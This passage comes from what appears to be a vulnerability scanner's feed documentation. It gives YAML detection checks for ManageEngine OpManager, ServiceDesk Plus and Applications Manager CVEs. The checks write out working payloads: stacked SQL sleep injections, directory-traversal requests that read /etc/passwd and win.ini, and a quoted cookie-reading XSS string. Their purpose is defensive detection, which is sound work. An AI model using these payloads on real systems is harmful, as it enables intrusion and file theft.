  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request POST {{p.path}} with a crafted body
  9. Parses / computes the next value with a Rhai script
  10. Checks tm.found for ^DELAYED$ → finding QoD 75: Time-based SQLi (…) in … of unauthenticated POST …: each injected delay held the reply that long — baseline … ms, delay … s … ms, delay … s…

References:

Feed source — tests/vulnerabilities/manageengine/CVE-2014-7868.yaml
# ManageEngine OpManager — unauthenticated SQL injection in APMBVHandler /
# DataComparisonServlet (CVE-2014-7868)
#
# OpManager 11.3 / 11.4 (also IT360 10.3/10.4 and Social IT Plus 11.0) expose
# two servlets that put request input into SQL without authentication:
#   a) POST /servlet/APMBVHandler   OPERATION_TYPE=Delete&OPM_BVNAME=<name>
#      the business-view name is concatenated into the DELETE statement, so a
#      quote ends the string and a second statement can be stacked;
#   b) POST /servlet/DataComparisonServlet operation=compare&numPrimaryKey=…
#      &query=<sql>  runs the query parameter as-is.
# Fixed by the vendor's "SQL injection vulnerability fix" patch and OpManager
# 11.5.
#
# Detection: a benign request (random business-view name / SELECT 1), sent
# twice, gives the timing baseline (the faster of the two), then a stacked PostgreSQL PG_SLEEP (the bundled database),
# then a SQL Server WAITFOR DELAY (the supported alternative), on each servlet.
# The business-view name is random, so the DELETE matches no row; the stacked
# statement only waits. Checked on PostgreSQL 16 through the 9.3 JDBC driver
# with Statement.executeUpdate("DELETE FROM bv WHERE name='<inj>'"): the
# driver throws "A result was returned when none was expected" but only after
# the server slept the full PG_SLEEP(n), and no row was deleted — so the
# timed reply may be an error page, any status is accepted.
#
# Two random delays (n, n + 3, the longer one sent first) must each land in
# their own window over the baseline (1 s jitter below, 4 s above) and the
# longer must take >= 2 s more: a WAF/IPS that holds every SQL-looking request
# for a fixed time gives no gap and stays clean. If the name reaches k (<= 3)
# statements the delays scale by k, and the windows follow.
#
# Differences from the reference check, which only looks for the injected
# name reflected next to "Action=BV_DELETED" / "Result=Success" in the reply
# (a reflection is no proof the SQL ran): the database is made to wait, SQL
# Server installs are covered, and the second servlet of the same CVE is tried.
# CVE-2014-6035 / CVE-2014-7866 (listed with it in the reference check) are
# directory traversals that write files; they are not probed here.
#
# Source: OpenVAS/Greenbone NASL 2014/gb_manageengine_opmanager_mult_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.805103, GPL-2.0-only); Pedro Ribeiro advisory
#   (Agile Information Security, Nov 2014).
uid: 8455d159-1625-4dda-b8a2-c8d3223a5b16
name: "ManageEngine OpManager APMBVHandler / DataComparisonServlet unauthenticated SQL injection (CVE-2014-7868)"
description: |
  ManageEngine OpManager 11.3 and 11.4 (and IT360 10.3/10.4, Social IT Plus
  11.0) let unauthenticated users inject SQL through the OPM_BVNAME parameter
  of a Delete operation on /servlet/APMBVHandler, and run any SQL through the
  query parameter of a compare operation on /servlet/DataComparisonServlet.

  This check sends a benign request to each servlet as a timing baseline,
  then the same request with a stacked statement that only makes the database
  wait: PG_SLEEP for PostgreSQL (the bundled database), then WAITFOR DELAY for
  SQL Server. The business-view name is random, so no row matches the DELETE.
  The finding is reported only when two random delays both show up over the
  baseline, each within its own window, and the longer one takes measurably
  longer. No row is deleted and no data is read.
cves: [CVE-2014-7868]
cvss: 7.5
severity: high
confidence_base: 0.35
category: sqli
tags: [manageengine, opmanager, sqli, time-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-7868"
  - "https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_opmanager_socialit_it360.txt"
  - "https://support.zoho.com/portal/manageengine/helpcenter/articles/sql-injection-vulnerability-fix"
  - "OpenVAS/Greenbone NASL 2014/gb_manageengine_opmanager_mult_vuln.nasl (GPL-2.0-only)"

steps:
  # ── Random delays and business-view name ───────────────────────────────────
  - id: gen-delays
    action: script
    code: |
      let s1 = rand_int(4, 5);
      #{ s1: s1, s2: s1 + 3, name: "noctis" + rand_hex(4) }
    store_as: sc

  # ── Per servlet × database (loop group) ────────────────────────────────────
  # Pre-initialise every stored result a script reads: a failed request
  # leaves store_as unset and an undefined var would abort the whole test.
  - id: init-base
    action: set_var
    var_name: base_resp
    var_value: {status: 0, body: null, duration_ms: 0}
    loop:
      over: ["bv-pg", "bv-mssql", "dc-pg", "dc-mssql"]
      var: sink

  - id: init-base2
    action: set_var
    var_name: base_resp2
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-long
    action: set_var
    var_name: long_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-short
    action: set_var
    var_name: short_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  # Request bodies for this servlet and database (form-urlencoded by hand).
  - id: build
    action: script
    code: |
      let bv = sink.starts_with("bv-");
      let pg = sink.ends_with("-pg");
      let path = if bv { "/servlet/APMBVHandler" } else { "/servlet/DataComparisonServlet" };
      let head = if bv { "OPERATION_TYPE=Delete&OPM_BVNAME=" + sc.name } else { "operation=compare&numPrimaryKey=1337&query=" };
      let pre = if bv { "%27%3B+" } else { "" };
      let suf = if bv { "--" } else { "" };
      let b0 = if bv { head } else { head + "SELECT+1" };
      let b2 = "";
      let b1 = "";
      if pg {
        b2 = head + pre + "SELECT+PG_SLEEP(" + sc.s2 + ")" + suf;
        b1 = head + pre + "SELECT+PG_SLEEP(" + sc.s1 + ")" + suf;
      } else {
        b2 = head + pre + "WAITFOR+DELAY+%270%3A0%3A" + sc.s2 + "%27" + suf;
        b1 = head + pre + "WAITFOR+DELAY+%270%3A0%3A" + sc.s1 + "%27" + suf;
      }
      let db = if pg { "PostgreSQL PG_SLEEP" } else { "SQL Server WAITFOR DELAY" };
      let param = if bv { "OPM_BVNAME (OPERATION_TYPE=Delete)" } else { "query (operation=compare)" };
      #{ path: path, b0: b0, b1: b1, b2: b2, db: db, param: param }
    store_as: p

  # Baseline: the same request without any injected statement.
  - id: baseline
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{p.path}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{p.b0}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: base_resp

  # Sent twice; the faster one is the baseline, so a slow first hit (servlet
  # cold start) does not eat into the delay windows.
  - id: baseline-2
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{p.path}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{p.b0}}"
    condition: "base_resp.status > 0 && base_resp.status != 404"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: base_resp2

  - id: check-baseline
    action: script
    code: |
      let base = base_resp.duration_ms;
      if base_resp2.status > 0 && base_resp2.duration_ms < base { base = base_resp2.duration_ms; }
      let ok = base_resp.status > 0 && base_resp.status != 404 && base < 8000;
      #{ ok: ok, base: base }
    store_as: bl

  # Longer delay first: a WAF that holds each successive request longer then
  # fails its own window.
  - id: sleep-long
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{p.path}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{p.b2}}"
    condition: "bl.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 35
    store_as: long_resp

  # k = how many statements the injected name reached (1..3), from the long
  # delay; its window is k·s2 seconds over the baseline.
  - id: check-long
    action: script
    code: |
      let d2 = long_resp.duration_ms - bl.base;
      let ms2 = sc.s2 * 1000;
      let k = (d2 + ms2 / 2) / ms2;
      if k < 1 { k = 1; }
      if k > 3 { k = 3; }
      let ok = bl.ok && long_resp.status > 0 && d2 >= k * ms2 - 1000 && d2 <= k * ms2 + 4000;
      #{ ok: ok, k: k, d2: d2 }
    store_as: w2

  - id: sleep-short
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{p.path}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{p.b1}}"
    condition: "w2.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 35
    store_as: short_resp

  # Short delay in its own window, and the long one >= 2 s longer (a constant
  # tarpit gives no gap).
  - id: check-short
    action: script
    code: |
      let d1 = short_resp.duration_ms - bl.base;
      let ms1 = w2.k * sc.s1 * 1000;
      let w1 = d1 >= ms1 - 1000 && d1 <= ms1 + 4000;
      let hit = w2.ok && short_resp.status > 0 && w1 && (w2.d2 - d1) >= 2000;
      #{ hit: hit, found: if hit { "DELAYED" } else { "" } }
    store_as: tm

  - id: report
    action: match
    source: tm.found
    pattern: "^DELAYED$"
    condition: "tm.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Time-based SQLi ({{p.db}}) in {{p.param}} of unauthenticated POST {{p.path}}: each injected delay held the reply that long — baseline {{bl.base}} ms, delay {{sc.s2}} s {{long_resp.duration_ms}} ms, delay {{sc.s1}} s {{short_resp.duration_ms}} ms"
      stop: true

ManageEngine OpManager FailOverHelperServlet copyfile directory traversal

CVECVE-2014-7864
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 75
Feedtests/vulnerabilities/manageengine/CVE-2014-7864.yaml

Tests ManageEngine OpManager 8 through 11.5 for the unauthenticated arbitrary file read in the FailOver helper servlet. The feed sends a POST to /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet (then the short servlet name) with operation=copyfile and fileName set to a ../ sequence ending in etc/passwd and, when no passwd content comes back, in windows/win.ini through the backslash form. The content of the file in the reply confirms the read. A control request for an absent random file through the same parameter must not return any of these files, so a server that answers the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET /LoginPage.do
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /servlet/{{servlet}}?operation=copyfile&fileName=/../../../../../../../../../../../.…
  4. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST /servlet/{{servlet}}?operation=copyfile&fileName=%5C..%5C..%5C..%5C..%5C..%5C..%5C..…
  7. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request POST /servlet/{{servlet}}?operation=copyfile&fileName={{ctrl_path}}
  10. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  11. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: ManageEngine OpManager FailOverHelperServlet copyfile directory traversal (CVE-2014-7864)
  12. Checks win_proof for ^true$ → finding QoD 75: ManageEngine OpManager FailOverHelperServlet copyfile directory traversal (CVE-2014-7864)

References:

Feed source — tests/vulnerabilities/manageengine/CVE-2014-7864.yaml
# ManageEngine OpManager — FailOverHelperServlet copyfile directory traversal
# (CVE-2014-7864)
#
# OpManager 8 through 11.5 (builds up to 11400) expose the FailOver helper
# servlet (com.adventnet.me.opmanager.servlet.FailOverHelperServlet, "FailServlet")
# on /servlet/. Its "copyfile" operation takes a fileName parameter that is
# used as a path with no check, so "../" sequences read any file the OpManager
# service account can read (the same servlet also carries SQL injection and a
# file overwrite, reported under other IDs).
#
# Detection (benign, read-only): POST
#   /servlet/<servlet>?operation=copyfile&fileName=/../../../../../../../../../../../../../etc/passwd
# (with the session cookie of the landing page when one is set) on the full
# class name, then the short servlet name; when no passwd content comes back,
# the Windows file windows/win.ini through the backslash form
# "\..\..\..\..\..\..\..\\windows/win.ini". QoD 75 (response analysis).
#
# Improvements over the source NASL:
#   - The NASL needs its OpManager detection first and then a Set-Cookie on
#     "/" or "/LoginPage.do" (else it exits); the feed probes both servlet
#     names directly and sends the landing-page cookie when there is one.
#   - A control request (same operation, an absent random directory still
#     ending with the file that hit) must come back WITHOUT any of these
#     files; a blanket responder or a honeypot keying a fake file on the file
#     name is not reported (fail-closed: no control reply -> no finding).
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVEs: the NASL names CVE-2014-7864 (traversal / file read); the SQL
# injection and file overwrite of the same servlet are not exercised.
# CVSS: CVE-2014-7864 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2015/gb_manage_engine_opmanager_mult_vuln_feb15.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805473, GPL-2.0-only).
uid: 64fb0510-7e48-4b71-8529-be2cc6fb5702
name: "ManageEngine OpManager FailOverHelperServlet copyfile directory traversal (CVE-2014-7864)"
description: |
  Tests ManageEngine OpManager 8 through 11.5 for the unauthenticated arbitrary
  file read in the FailOver helper servlet. The feed sends a POST to
  /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet (then the
  short servlet name) with operation=copyfile and fileName set to a ../
  sequence ending in etc/passwd and, when no passwd content comes back, in
  windows/win.ini through the backslash form. The content of the file in the
  reply confirms the read. A control request for an absent random file through
  the same parameter must not return any of these files, so a server that
  answers the same content on every request is not reported. Only
  world-readable system files are read. The account name (unless root),
  password field and gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2014-7864]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [manageengine, opmanager, path-traversal, directory-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-7864"
  - "https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_opmanager_socialit_it360.txt"
  - "https://support.zoho.com/portal/manageengine/helpcenter/articles/sql-injection-vulnerability-fix"
  # OpenVAS/Greenbone NASL 2015/gb_manage_engine_opmanager_mult_vuln_feb15.nasl (GPL-2.0-only)

steps:
  # ── Landing page cookie (the NASL sends it with the probe) ─────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, headers: {}}

  - id: landing-get
    action: http_request
    method: GET
    path: "/LoginPage.do"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: landing

  # name=value of the Set-Cookie, else a harmless placeholder cookie.
  - id: cookie
    action: script
    code: |
      let c = "noctis=1";
      if landing.status > 0 && "set-cookie" in landing.headers {
        let sc = landing.headers["set-cookie"];
        let semi = sc.index_of(";");
        let nv = if semi > 0 { sc.sub_string(0, semi) } else { sc };
        if nv.len() > 2 && nv.contains("=") { c = nv; }
      }
      c
    store_as: ck

  # ── Loop group: every following step runs once per servlet name ────────────
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: servlet
      over: ["com.adventnet.me.opmanager.servlet.FailOverHelperServlet", "FailOverHelperServlet"]

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-proof
    action: set_var
    var_name: win_proof
    var_value: false

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: POST
    path: "/servlet/{{servlet}}?operation=copyfile&fileName=/../../../../../../../../../../../../../etc/passwd"
    headers:
      Cookie: "{{ck}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini through the backslash traversal ──────────────
  - id: read-winini
    action: http_request
    method: POST
    path: "/servlet/{{servlet}}?operation=copyfile&fileName=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C%5Cwindows/win.ini"
    headers:
      Cookie: "{{ck}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == ""'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == ""'
    on_match:
      set_vars:
        win_proof: true

  # ── Control: same operation, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit, so a honeypot keyed on that name answers it too.
  - id: control-path
    action: script
    code: |
      if lin_proof != "" {
        "/../../../../../../../../../../../../../noctis-absent-" + oob_token + "/etc/passwd"
      } else {
        "%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C%5Cnoctis-absent-" + oob_token + "/windows/win.ini"
      }
    condition: 'lin_proof != "" || win_proof'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: POST
    path: "/servlet/{{servlet}}?operation=copyfile&fileName={{ctrl_path}}"
    headers:
      Cookie: "{{ck}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_proof'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof != "" || win_proof'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "ManageEngine OpManager FailOverHelperServlet copyfile directory traversal (CVE-2014-7864)"
        description: "An unauthenticated POST to the OpManager FailOver helper servlet with operation=copyfile and a fileName ending in etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the OpManager service account can read."
        remediation: "Upgrade OpManager to a build later than 11.5 (11400) or apply the vendor's security patch for the FailOver helper servlet, and restrict /servlet/ access to trusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "POST /servlet/{{servlet}}?operation=copyfile&fileName=/../../…/etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_proof
    pattern: "^true$"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "ManageEngine OpManager FailOverHelperServlet copyfile directory traversal (CVE-2014-7864)"
        description: "An unauthenticated POST to the OpManager FailOver helper servlet with operation=copyfile and a backslash traversal fileName ending in windows/win.ini returned the content of that file, while the same request for an absent file did not. The same flaw reads any other file the OpManager service account can read."
        remediation: "Upgrade OpManager to a build later than 11.5 (11400) or apply the vendor's security patch for the FailOver helper servlet, and restrict /servlet/ access to trusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "POST /servlet/{{servlet}}?operation=copyfile&fileName=\\..\\…\\windows/win.ini returned the content of win.ini; control for an absent file returned no file content"
      stop: true

ManageEngine ServiceDesk Plus fosagent Arbitrary File Download

CVECVE-2017-11511, CVE-2017-11512
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/manageengine/servicedesk-plus-fosagent-file-download.yaml

Unauthenticated path traversal in the ServiceDesk Plus FOS replication servlets (/fosagent/repl/download-file and /fosagent/repl/download-snapshot) lets a remote attacker download arbitrary files. Confirmed by reading win.ini or /etc/passwd through the traversal and matching the file content. After a read, the same request is sent for an absent file in a random missing directory, and the finding is raised only when that control gets an HTTP reply without file content, so a server that answers every path with the same file is not reported.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /fosagent/repl/{{probe}} HTTP/1.0
  2. Checks probe_resp.banner for ^HTTP/1\.[01] 200[\s\S]*?(root:[^:\r\n]*:0:0:|\[fonts\][\s\S]{0,2000}…
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /fosagent/repl/{{traversal_ctrl_probe}} HTTP/1.0
  5. Parses / computes the next value with a Rhai script
  6. Checks traversal_hit for ^yes$ → finding QoD 75: Arbitrary file read via GET /fosagent/repl/… returned OS file content; the same request for an absent file did not

References:

Feed source — tests/vulnerabilities/manageengine/servicedesk-plus-fosagent-file-download.yaml
# ManageEngine ServiceDesk Plus — unauthenticated arbitrary file download
# via the /fosagent/repl/ replication servlets (CVE-2017-11511, CVE-2017-11512).
#
# Ported from OpenVAS/Greenbone NVT
# 2017/zohocorp/gb_manageengine_servicedesk_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.140496, GPL-2.0-only).
#
# The FOS (failover) replication agent exposes two servlets that build a
# filesystem path from a request parameter without any validation and stream
# the file back, with no authentication:
#   - /fosagent/repl/download-file?basedir=4&filepath=<path>   (CVE-2017-11512)
#   - /fosagent/repl/download-snapshot?name=<path>             (CVE-2017-11511)
#
# Proof (benign, read-only): read a world-readable OS file through a "..\"
# traversal and match its content — win.ini ([fonts] … [extensions]) on
# Windows, /etc/passwd (root:…:0:0:) on Linux. Nothing is written.
#
# Beyond the NASL, which only probes download-file:
#   - download-snapshot (CVE-2017-11511) is probed too, so a build where only
#     that servlet is reachable is not missed;
#   - the /etc/passwd probes traverse with "../" — the NASL sends "..\" for
#     every file, which a Linux JVM treats as a plain file name, so Linux
#     installs were never detected;
#   - each payload is also sent percent-encoded (%5c / %2f), for front ends /
#     newer Tomcat connectors that reject a raw "\" in the request line (400)
#     — the servlet sees the same decoded parameter;
#   - the match requires an HTTP 200 status line, and win.ini must show both
#     the [fonts] and [extensions] sections (not a lone word);
#   - absent-file control (#2384): after a read, the same request with a random
#     missing directory inserted before the file must come back without file
#     content (fail closed), so catch-all servers / honeypots are not reported.
#
# tcp_connect (raw HTTP/1.0) keeps the traversal bytes verbatim — reqwest would
# normalise/encode them.
uid: da9ebeb0-1d58-4ce3-ab7c-fe148a86ebc5
name: "ManageEngine ServiceDesk Plus fosagent Arbitrary File Download (CVE-2017-11511, CVE-2017-11512)"
description: |
  Unauthenticated path traversal in the ServiceDesk Plus FOS replication
  servlets (/fosagent/repl/download-file and /fosagent/repl/download-snapshot)
  lets a remote attacker download arbitrary files. Confirmed by reading
  win.ini or /etc/passwd through the traversal and matching the file content.
  After a read, the same request is sent for an absent file in a random missing
  directory, and the finding is raised only when that control gets an HTTP
  reply without file content, so a server that answers every path with the
  same file is not reported.
cves: [CVE-2017-11511, CVE-2017-11512]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [manageengine, servicedesk-plus, zoho, path-traversal, file-read, lfi]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-11511"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-11512"
  - "https://www.tenable.com/security/research/tra-2017-31"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-11512.yaml"

steps:
  # One raw HTTP/1.0 request per (servlet, encoding, target file); the loop
  # group (the reset step carrying the loop and every step after it) runs per
  # item and the first confirmed read stops the test. Windows first:
  # ServiceDesk Plus is mostly deployed on Windows. Results are reset per item
  # so a failed connect leaves an empty banner, not the previous item's reply.
  - id: traversal-reset
    action: set_var
    var_name: probe_resp
    var_value: {connected: false, banner: ""}
    loop:
      var: probe
      over:
        # java.io.File only splits on "\" on Windows: the win.ini items use the
        # NASL "..\" traversal, the /etc/passwd items use "../" (a "..\" chain
        # is a literal file name on a Linux JVM — the NASL misses Linux installs).
        # CVE-2017-11512 — download-file, NASL payload (crap("..\", 30) + file)
        - 'download-file?basedir=4&filepath=..\..\..\..\..\..\..\..\..\..\windows/win.ini'
        - 'download-file?basedir=4&filepath=../../../../../../../../../../etc/passwd'
        # CVE-2017-11511 — download-snapshot, same traversal in name=
        - 'download-snapshot?name=..\..\..\..\..\..\..\..\..\..\windows/win.ini'
        - 'download-snapshot?name=../../../../../../../../../../etc/passwd'
        # Same four percent-encoded (%5c / %2f): strict request-line parsers
        # reject a raw "\", WAFs often match a literal "../"
        - 'download-file?basedir=4&filepath=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini'
        - 'download-file?basedir=4&filepath=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'
        - 'download-snapshot?name=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini'
        - 'download-snapshot?name=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'


  - id: traversal-ctrl-reset
    action: set_var
    var_name: traversal_ctrl
    var_value: {connected: false, banner: ""}

  - id: traversal-hit-reset
    action: set_var
    var_name: traversal_hit
    var_value: ""

  - id: traversal-clean-reset
    action: set_var
    var_name: traversal_clean
    var_value: false

  - id: traversal-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /fosagent/repl/{{probe}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: probe_resp

  # No finding here: the reply carries the file. Raised below once the
  # absent-file control is clean.
  - id: traversal-match
    action: match
    source: probe_resp.banner
    # HTTP 200 + win.ini sections or a passwd root entry in the body.
    pattern: "^HTTP/1\\.[01] 200[\\s\\S]*?(root:[^:\\r\\n]*:0:0:|\\[fonts\\][\\s\\S]{0,2000}?\\[extensions\\])"
    on_match:
      set_vars:
        traversal_hit: "yes"

  # Control: the same request with a random missing directory inserted before
  # the file (same separator, same file name), so a server that keys a fake
  # file on that name answers it too. ServiceDesk Plus answers without the file.
  - id: traversal-control-path
    action: script
    condition: 'traversal_hit != ""'
    code: |
      ereg_replace("^(.*?)(%252f|%5c|%2f|/|\\\\)(etc|windows|winnt|boot\\.ini)", "${1}${2}noctis-absent-" + oob_token + "${2}${3}", probe, true)
    store_as: traversal_ctrl_probe

  - id: traversal-control
    action: tcp_connect
    port: "{{port}}"
    condition: 'traversal_hit != ""'
    send: "GET /fosagent/repl/{{traversal_ctrl_probe}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: traversal_ctrl

  # Fail closed: the control must have answered over HTTP, without any file content.
  - id: traversal-control-verdict
    action: script
    condition: 'traversal_hit != ""'
    code: |
      let b = traversal_ctrl.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:[01]:|\\[fonts\\]|\\[extensions\\]|\\[boot loader\\]|; for 16-bit app support", b)
    store_as: traversal_clean

  - id: traversal-report
    action: match
    source: traversal_hit
    pattern: "^yes$"
    condition: "traversal_clean == true"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Arbitrary file read via GET /fosagent/repl/{{probe}} returned OS file content; the same request for an absent file did not"
      stop: true

ManageEngine Applications Manager 9.x/10.x reflected cross-site scripting

CVECVE-2012-1062
Severitymedium
Categoryxss — XSS
Serviceshttp, https
Ports9090
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/manageengine/CVE-2012-1062.yaml

Tests ManageEngine Applications Manager 9.x and 10.x for reflected cross-site scripting. The test requests jsp/PopUp_Graph.jsp (attName parameter), showHistoryData.do (period parameter) and showresource.do (selectedNetwork, network and group parameters) with an inert per-run random HTML tag in the parameter. The finding is raised when the tag comes back in an HTML reply with its angle brackets unescaped, meaning the page lets an attacker inject markup and script into the administrator's session.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{url}}%22%3E%3Cnoctis{{tok}}%3Ex%3C/noctis{{tok}}%3E
  3. Parses / computes the next value with a Rhai script
  4. Checks verdict for ^reflected: → finding QoD 75: ManageEngine Applications Manager — reflected cross-site scripting (CVE-2012-1062)

References:

Feed source — tests/vulnerabilities/manageengine/CVE-2012-1062.yaml
# ManageEngine Applications Manager 9.x / 10.x reflected cross-site scripting
# (CVE-2012-1062).
#
# Ported from OpenVAS/Greenbone NVT
# 2012/gb_manageengine_applications_manager_mult_xss_n_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.802424, GPL-2.0-only), which requests
# /jsp/PopUp_Graph.jsp?restype=QueryMonitor&resids=&attids='&attName=
#   "><script>alert(document.cookie)</script>
# and looks for the script tag in the reply.
#
# CVE mapping: the issue tracks CVE-2012-1062 (XSS in showHistoryData.do period,
# showresource.do selectedNetwork/network/group, AlarmView.do header,
# jsp/PopUp_Graph.jsp attName) and CVE-2012-1063 (SQL injection in
# fault/AlarmView.do viewId and showHistoryData.do period). This feed proves
# only the XSS, so only CVE-2012-1062 is named; the SQL injection needs the
# product's database and cannot be shown without data access.
#
# Better than the NVT:
#   - The marker is an inert per-run random tag (<noctis…>), not a fixed
#     <script> string a WAF or a static page could already contain, and it is
#     matched only when the < > characters come back unescaped.
#   - The other reflection points NVD lists (showHistoryData.do period,
#     showresource.do network parameters) are tried as well.
#   - A non-HTML reply (JSON, text) is never reported.
#
# References: https://nvd.nist.gov/vuln/detail/CVE-2012-1062,
